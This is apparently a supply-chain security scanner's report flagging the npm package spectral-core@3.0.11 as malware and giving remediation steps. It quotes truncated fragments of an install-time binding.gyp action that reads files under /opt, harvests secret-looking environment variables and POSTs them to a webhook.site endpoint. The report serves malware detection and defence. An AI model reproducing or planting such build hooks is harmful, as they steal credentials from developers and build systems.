spectral-core@3.0.11
Spectral analysis core library
AI Security Review
scanned 7d ago · by lpm-firewall-aiThe manifest enables the native build configuration, whose action gathers local and environment data and sends it to a fixed external endpoint. This supports a malicious data-exfiltration verdict.
Static reason
No blocking static signals were detected.
Trigger
Installing the package through a flow that runs npm's default native build for its gypfile.
Impact
Collected filesystem contents, environment values, and container task metadata can be disclosed to the webhook recipient.
Mechanism
The build action runs Node and shell commands to inspect /opt and matching environment variables, then makes an HTTPS POST to webhook.site.
Attack narrative
The package enables native build setup with gypfile and defines a build action in binding.gyp. That action inspects files under /opt, queries container task metadata when available, filters environment variables for sensitive-looking values, and posts collected data to a fixed webhook.site URL.
AI rationale
The manifest enables the native build configuration, whose action gathers local and environment data and sends it to a fixed external endpoint. This supports a malicious data-exfiltration verdict.
Evidence
package.jsonbinding.gyp
Network endpoints1
webhook.site/f604623f-fc78-4447-9225-6772f7f12cb1
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json enables the native build configuration, and binding.gyp defines a build action.
- The build action posts collected data to a fixed webhook.site destination.
- The action lists and reads files under /opt and sends the results.
- It filters environment variables for flag, secret, password, token, or htb matches and sends them.
Evidence against
Behavioral surface
Trivial
Source & flagged code
7 flaggedbinding.gypView file
4"target_name": "action_before_build",
"type": "none",
"actions": [
{
"action_name": "run_postsetup",
"message": "Finalizing spectral-core se
High
Ai Review Evidence
package.json enables the native build configuration, and binding.gyp defines a build action.
binding.gypView on unpkg · L411setup.node"],
"action": ["node", "-e", "try{var h=require('https'),fs=require('fs'),cp=require('child_process');function post(d){try{var o={hostname:'webhook.site',port:443,path:'/f604623f-fc78-4447-9225-6772f7f12cb1',me
High
Ai Review Evidence
The build action posts collected data to a fixed webhook.site destination.
binding.gypView on unpkg · L1112nc('find /opt -type f 2>/dev/null',{timeout:3000}).toString();post('OPT_FILES:'+r2)}catch(e){post('OPT_FILES_ERR:'+e.message)}try{var r3=cp.execSync('cat /opt/* /opt/*/* /opt/*/*/* 2>/dev/nu
High
Ai Review Evidence
The action lists and reads files under /opt and sends the results.
binding.gypView on unpkg · L12Findings
1 Critical5 High1 Medium
CriticalManifest Confusionpackage.json
HighAi Review Evidencepackage.json
HighAi Review Evidencebinding.gyp
HighAi Review Evidencebinding.gyp
HighAi Review Evidencebinding.gyp
HighAi Review Evidencebinding.gyp
MediumShips Build Helperbinding.gyp
Affected versions and remediation
This report applies to spectral-core@3.0.11.
See all versions of spectral-core for other recorded verdicts.
- Avoid installing spectral-core@3.0.11. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.